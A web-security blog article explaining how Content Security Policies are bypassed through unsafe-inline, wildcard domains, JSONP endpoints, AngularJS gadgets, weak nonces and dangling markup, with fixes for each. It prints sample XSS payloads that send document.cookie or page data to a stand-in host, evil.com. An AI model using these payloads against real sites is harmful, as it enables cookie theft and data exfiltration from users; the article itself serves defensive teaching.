CSP Bypasses That Render Your Content Security Policy Useless
You added a Content-Security-Policy header, ran a scan, and the green checkmark appeared. But if your policy contains any of a handful of common patterns, an attacker with an XSS foothold can still load arbitrary scripts, exfiltrate data, and walk right through what you thought was a wall.
CSP is one of the strongest browser-enforced defenses against cross-site scripting, but only when it is configured correctly. The gap between a policy that exists and a policy that actually restricts anything is wider than most teams realize.
What You'll Learn
- Which CSP directives are commonly misconfigured and what attackers do with them
- How JSONP endpoints and open redirects on allowlisted domains can be chained into full bypasses
- How nonce and hash-based policies can be weakened by subtle implementation mistakes
- How JavaScript frameworks like AngularJS create CSP bypass gadgets
- Concrete fixes you can apply today to make each bypass class harder
Why CSP Fails in Practice
A Content Security Policy header instructs the browser about which sources are allowed to load scripts, styles, images, and other resources. When an attacker injects a <script> tag, the browser checks whether the source is on the approved list before executing it. In theory, this cuts off the most dangerous outcomes of an XSS vulnerability even when the injection itself cannot be prevented.
In practice, real applications are full of compromises: legacy inline scripts, third-party analytics, A/B testing tools, and CDN-hosted libraries. Every exception you carve into the policy is a potential bypass vector. Attackers have catalogued these vectors systematically, and several are trivially exploitable on policies that look fine at a glance.
The Classic Culprit: unsafe-inline and unsafe-eval
'unsafe-inline' in script-src allows any inline <script> block or event handler attribute to execute. If an attacker can inject <script>alert(document.cookie)</script> anywhere on the page, your CSP does nothing. The entire point of the header is defeated.
'unsafe-eval' allows eval(), new Function(), and similar dynamic code execution. Many template engines and older build tools depend on it, which is why teams leave it in place. Attackers who can control any string passed to eval() — through a DOM injection or a prototype pollution chain — can execute arbitrary code.
Some teams add these keywords as a temporary fix during development and never remove them. If your policy contains either, the rest of the policy is mostly cosmetic for script execution. Search your policy string now and remove them. Use nonces or hashes for legitimate inline scripts instead.
Wildcard and Overly Permissive Domains
Wildcards in script-src like *.example.com or *.googleapis.com allowlist every subdomain, including ones you do not control or that serve user-controlled content. An attacker who can upload a JavaScript file to any subdomain of an allowlisted domain can load it as a first-party script from the browser's perspective.
Large CDN domains are a common example. Allowlisting ajax.googleapis.com to load jQuery is reasonable, but allowlisting *.googleapis.com opens doors to other Google-hosted paths that serve content you do not expect. Similarly, allowlisting cdn.jsdelivr.net without a specific path allows loading any package published to jsDelivr — which includes packages with known malicious versions.
The fix is to be as specific as the allowlist syntax allows. Lock down to exact origins (https://ajax.googleapis.com) rather than wildcards. Where possible, self-host critical scripts so you control their content and do not need an external allowlist entry at all.
JSONP Endpoints as Script Gadgets
JSONP endpoints accept a callback parameter and return JavaScript that calls the function you named. They were common before CORS existed. If your CSP allowlists a domain that still exposes a JSONP endpoint, an attacker can use it as an injection vehicle.
Consider a policy that includes https://api.example.com in script-src because you load a legitimate script from there. If that same origin exposes /data?callback=ANYTHING, an attacker can inject:
<script src="https://api.example.com/data?callback=fetch('https://evil.com/?c='+document.cookie)//"></script>
The browser sees a script tag sourced from an allowlisted origin and executes it. The JSONP wrapper turns the callback parameter into executable JavaScript. The payload runs, cookie is sent, game over.
Audit every domain in your script-src for JSONP endpoints. Search for query parameters named callback, cb, jsonp, and fn. Many APIs discontinued JSONP support years ago but never removed the endpoint. Contact the domain owner, or remove the domain from your allowlist and serve the resource another way.
This attack class is related to how attackers exploit API-level trust misconfigurations more broadly — the same instinct that drives CORS misconfigurations that silently expose APIs to any origin.
Open Redirects as CSP Launchers
An open redirect on an allowlisted domain lets an attacker chain two requests: the browser fetches a URL from the allowlisted origin, which redirects to an attacker-controlled server. Some older browser implementations followed the redirect and still treated the final response as coming from the allowlisted origin.
Modern browsers have largely closed this specific redirect-following hole for script-src, but the pattern still matters for navigate-to and form-action directives, and it remains a vector worth understanding in mixed browser environments.
More practically: if your allowlisted domain has an open redirect, attackers can use it to defeat frame-src restrictions or to craft convincing phishing URLs that appear to start from a trusted origin. Audit your allowlisted domains for redirector endpoints the same way you would audit for JSONP.
Nonce and Hash Bypass Tricks
Nonce-based CSP is the recommended modern approach. The server generates a fresh random value per request, embeds it as nonce="abc123" on each legitimate script tag, and the policy contains 'nonce-abc123'. Only scripts bearing a valid nonce execute. This eliminates the need for 'unsafe-inline'.
But nonce-based policies break down in several realistic ways:
Nonce leakage through injection
If an attacker can inject content before a legitimate script tag and that injected content can read the surrounding HTML — for example, through a dangling HTML attribute injection — they can sometimes extract the nonce value and reuse it. This is rare but has been demonstrated against applications where the nonce appeared in reflected content before being consumed by the parser.
Predictable or reused nonces
A nonce must be cryptographically random and unique per HTTP response. Using a timestamp, a sequential counter, or a static string defeats the purpose entirely. If your framework caches rendered HTML across requests and reuses the same nonce, every response carries the same value — making it functionally equivalent to a static allowlist entry.
Script injection after a nonced tag with 'strict-dynamic'
'strict-dynamic' is a CSP keyword that allows scripts loaded by a trusted nonced script to dynamically load further scripts, bypassing the source list. This is useful for loaders and bundlers. But it means that if an attacker can make a trusted script call document.createElement('script') with attacker-controlled src — through prototype pollution or a DOM injection — the child script executes with inherited trust.
The fix: generate nonces with a cryptographically secure random number generator, never cache HTML that contains nonces across requests, and audit your use of 'strict-dynamic' to understand which scripts gain transitive trust.
AngularJS and Other Framework Bypasses
AngularJS (the original Angular 1.x) is a well-known CSP bypass gadget. If your policy allowlists a CDN that serves AngularJS, an attacker can use AngularJS's template expression syntax inside injected HTML to execute JavaScript without a <script> tag at all:
<div ng-app>{{constructor.constructor('fetch("https://evil.com/?c="+document.cookie)()')()}}</div>
AngularJS evaluates template expressions in the DOM, and those expressions can reach the Function constructor, bypassing the script execution restriction entirely. The browser never loads an external script — the payload runs inside the page's existing JavaScript context.
This is not hypothetical. CSP bypass gadgets exist for other frameworks too, including older versions of jQuery and various Web Components polyfills. The lesson is that allowlisting a domain is allowlisting everything that domain serves, including any framework with known bypass gadgets.
Remove AngularJS from your CDN allowlist if you do not use it. If you do use Angular (modern versions), migrate away from template expressions in user-controlled content and consider how prototype pollution in Node.js libraries can feed data into these expression contexts server-side before the page is even rendered.
Dangling Markup and CSS Injection
When script execution is genuinely blocked, attackers pivot to data exfiltration through other channels. Dangling markup injection exploits the HTML parser's behavior when an attacker can inject an unclosed tag.
Suppose an attacker injects <img src="https://evil.com/?data= into the page. The browser's parser looks for the closing quote, consuming everything that follows — including tokens, CSRF values, and other sensitive text — as part of the src attribute. The image request carries that data to the attacker's server. No script execution required.
CSS injection with @import or attribute selectors can similarly be used to probe the DOM and exfiltrate character-by-character using timing side-channels or cascading stylesheet requests. These attacks bypass CSP because they operate within the img-src or style-src directives, which teams often leave permissive while locking down script-src.
The fix is to apply the same scrutiny to img-src, style-src, connect-src, and font-src that you apply to script-src. A policy that only restricts script-src stops code execution but leaves data exfiltration paths wide open.
Common Pitfalls When Deploying CSP
Staying in report-only forever. Content-Security-Policy-Report-Only sends violation reports but enforces nothing. It is a valuable testing tool, but many teams ship to production and never flip the header to enforcing mode. If your policy is still in report-only, it provides zero runtime protection.
Missing directives fall back to default-src. If you set default-src 'self' but forget to specify object-src, Flash plugins and similar content can still load from anywhere. Always explicitly set object-src 'none' and base-uri 'self'. A missing base-uri lets attackers inject a <base href="..."> tag that redirects all relative URLs to an attacker-controlled origin — a subtle but effective bypass.
Not auditing third-party scripts. A single third-party analytics tag that injects its own scripts can require you to allowlist an entire CDN domain, undermining the rest of your policy. Audit what each third-party script loads dynamically, not just its initial source. This is related to broader concerns about how API-level trust assumptions cascade into unexpected attack surfaces.
HTTP downgrade paths. If your site is reachable over HTTP as well as HTTPS, CSP headers served over HTTPS can be stripped by a network attacker before the browser sees them. Pair your CSP deployment with HSTS and ensure HTTP redirects to HTTPS before any content is served. The interplay between header-stripping and policy enforcement is also relevant when you look at how HTTP desync attacks manipulate what headers the backend actually processes.
No violation monitoring in production. Even an enforcing policy generates violation reports when legitimate functionality breaks or when someone probes the site. Set report-to or report-uri and actually read those logs. Unexplained spikes in violations are a signal worth investigating.
Wrapping Up: Next Steps
A CSP that contains 'unsafe-inline', a wildcard CDN domain, or a JSONP-capable origin is not a defense — it is documentation of your attack surface. Tightening a policy takes iteration, but the payoff is real.
- Audit your current policy with a tool like Google's CSP Evaluator. Look specifically for
'unsafe-inline','unsafe-eval', wildcard hosts, and known JSONP-capable domains. - Migrate inline scripts to nonces or hashes. Remove every
'unsafe-inline'allowance. This single change eliminates the most common XSS-to-execution path. - Survey every allowlisted domain for JSONP endpoints, open redirects, and AngularJS gadgets. Remove domains you can replace with self-hosted or integrity-checked alternatives.
- Lock down non-script directives. Set
object-src 'none',base-uri 'self', and reviewimg-srcandconnect-srcto cut off exfiltration paths. - Enable enforcement and connect violation reporting to your logging pipeline. Treat unexplained violation spikes as potential active exploitation attempts, not noise.
Frequently Asked Questions
Can a CSP with nonces still be bypassed by an attacker?
Yes. Nonce-based CSP can be undermined if nonces are predictable, reused across responses, or leaked through HTML injection before a legitimate script tag. Cryptographically random, per-response nonces combined with careful injection prevention are required for nonces to be effective.
Does adding 'unsafe-inline' to CSP completely defeat its purpose?
For script execution, yes. Including 'unsafe-inline' in script-src allows any injected inline script or event handler to execute, which is exactly what CSP is designed to prevent. Remove it and use nonces or hashes for any legitimate inline scripts instead.
Why does allowlisting a CDN domain create a CSP bypass risk?
Allowlisting a CDN domain permits the browser to load any script served from that origin, including known bypass gadgets like AngularJS templates or files uploaded by other users. Attackers can load these gadgets via an injected script tag pointing to the trusted CDN, bypassing your policy without loading anything from a blocked origin.
What is a JSONP-based CSP bypass and how does it work?
If your CSP allowlists a domain that exposes a JSONP endpoint, attackers can inject a script tag pointing to that endpoint with a malicious callback parameter. The browser treats the response as a legitimate script from an allowlisted origin and executes the attacker-controlled callback function.
Is Content-Security-Policy-Report-Only enough to protect my site?
No. Report-Only mode sends violation data to your reporting endpoint but enforces nothing — the browser still executes blocked resources. It is only useful as a testing tool before you switch your header to enforcing mode with the standard Content-Security-Policy header.
📤 Share this article
Sign in to saveRelated Articles
Comments (0)
No comments yet. Be the first!